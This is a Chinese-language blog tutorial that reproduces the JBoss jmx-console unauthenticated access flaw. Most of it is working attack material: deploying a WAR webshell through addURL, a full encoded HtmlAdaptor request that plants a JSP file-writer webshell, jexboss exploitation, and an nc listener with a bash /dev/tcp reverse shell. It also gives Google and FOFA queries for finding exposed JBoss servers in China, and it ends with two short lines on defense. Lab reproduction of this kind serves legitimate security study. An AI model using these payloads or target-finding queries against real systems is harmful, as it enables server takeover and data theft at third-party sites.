目錄
0x00 前言
0x01 JBOSS未授權通路簡介
0x02 JBOSS未授權複現一
1、Docker容器搭建環境
2、通路127.0.0.1,找到漏洞點
3、生成warSehll
4、apache2部署遠端伺服器
4、通過addurl參數遠端部署Shell
5、成功getshell,上傳永久shell
0x03 JBOSS未授權複現二
1、查找JBOSS站點
2、JBOSS漏洞檢測
0x04 JBOSS未授權複現三
0x05 JBOSS未授權防護
0x06 後記
0x07 知識連結
0x00 前言
習正常而明其理,探非凡且有所見。 --塗寐
0x01 JBOSS未授權通路簡介
JBOSS是一個基于J2EE的開放源代碼應用伺服器,也是一個管理EJB的容器和伺服器,預設使用8080端口監聽。
JBOSS未授權通路漏洞表現為,在預設情況下無需賬密就可以直接通路 http://127.0.0.1:8080/jmx-console 進入管理控制台,進而導緻網站資訊洩露、伺服器被上傳shell(如反彈shell,wget寫webshell檔案),最終網站被攻陷。
該漏洞影響所有低版本的JBOSS,對其下使用者影響深遠。
0x02 JBOSS未授權複現一
1、Docker容器搭建環境
#搜尋JBoss環境
docker search testjboss
#選擇需要的環境
docker pull testjboss/jboss
#執行個體化testjboss/jboss鏡像
docker run -d-p 80:8080 testjboss/jboss

2、通路127.0.0.1,找到漏洞點
3、生成warSehll
#自備腳本tumei.jsp
#生成war指令
jar cvf admin.war tumei.jsp
4、apache2部署遠端伺服器
#安裝apache2
apt-get install apache2
#apache2所有檔案所在位置
/etc/apache2
#apache2運作檔案
/etc/init.d/apache2
#檢視kali預設web站點位置是否含有/var/www/html
cd /var/www/html
#不存在,建立/var/www/html目錄
mkdir -p /var/www/html
#将admin.war移入/var/www/html
cp admin.war /var/www/html
#開啟apache2服務
service apache2 start
#确認已開啟
service apache2 status
#通路web站點
http://127.0.0.1/
http://192.168.31.133/
4、通過addurl參數遠端部署Shell
#遠端伺服器中war包的位置
http://192.168.31.133/admin.war
#war上傳成功,會顯示成功界面。
#也可以直接通路http://127.0.0.1/jmx-console/,檢視http://127.0.0.1/jmx-console/,是否含有對應的war包
#抑或,通路http://127.0.0.1/admin/,顯示war包中檔案tumei.jsp
5、成功getshell,上傳永久shell
#由于目前目錄的shell僅能臨時擷取權限,是以把shell傳到jmx-console的預設目錄來鞏固權限
#jmx-console的預設目錄路徑
/opt/jboss/jboss4/server/default/deploy/jmx-console.war/
#直接利用檔案管理傳shell,避免臨時目錄下的shell被删無法連接配接
0x03 JBOSS未授權複現二
1、查找JBOSS站點
①Google文法産找相關站點(有丢丢少,大概是浏覽器的問題吧):inurl:"8080/jmx-console/"
②FOFA空間搜尋引擎語句:"jboss" && port="8080" && country="CN"
2、JBOSS漏洞檢測
①各位師傅若有閑情,可以先使用nmap工具掃描8080端口是否開放(nmap -PN ip),但筆者使用fofa搜尋時限定掃描了8080端口,直接通路http://ip:8080/jmx-console和http://ip:8080/web-console就好了,成功,确認未授權的存在。
②手工傳馬,直接URL中寫入大佬的一句話shell(寫入檔案功能),并可以通過腳本(shell.jsp)在其同級目錄下建立其他檔案(注意進行編碼繞過)。
#寫檔案功能
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
#arg0:war包的名稱,arg1:檔案名稱,arg2:檔案字尾名,arg3:檔案内容
#f=檔案名,t=腳本檔案内容(注意進行編碼繞過)
#檔案寫入舉例http://127.0.0.1:8080/August/shell.jsp?f=admin.txt&t=hhhhhhhhhhhhhhhhh
#檔案通路舉例
http://127.0.0.1:8080/August/admin.txt
#對應URL解碼
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>&argType=boolean&arg4=True
0x04 JBOSS未授權複現三
#嘗試下大佬寫的檢測工具:https://github.com/joaomatosf/jexboss
#jexboss是一個使用Python編寫的Jboss漏洞檢測利用工具,通過它可以檢測并利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,并且可以獲得一個shell。
#git下載下傳jexboss
git clone https://github.com/joaomatosf/jexboss
#切換jexboss所在目錄
cd jexboss-master/
#執行檢測192.168.31.131,此
處端口為80
python3 jexboss.py -u 192.168.31.131:80
#機器A反彈shell到其他機器(B)
#B機器(192.168.31.131)開啟監聽
nc -l -p 666
#A利用jexboss連接配接jboss後,反彈shell到機器B的666端口
bash -i >& /dev/tcp/192.168.31.131/666 0>&1
0x05 JBOSS未授權防護
1、對jmx-console和web-console界面通路增加強認證。
2、關閉jmx-console和web-console,提高安全性。
0x06 後記
漏洞複現很簡單,嘗試了多種方式,非常不錯,學到挺多的。原本想着嘗試學大佬做防護,但重新開機容器後看不出有什麼改變,還是繼續努力吧。 --塗寐
0x07 知識連結
JBOSS未授權通路漏洞複現 - 走看看
Jboss未授權通路漏洞複現
WEB中間件--Jboss未授權通路,加強,繞過 - 曉楓v5 - 部落格園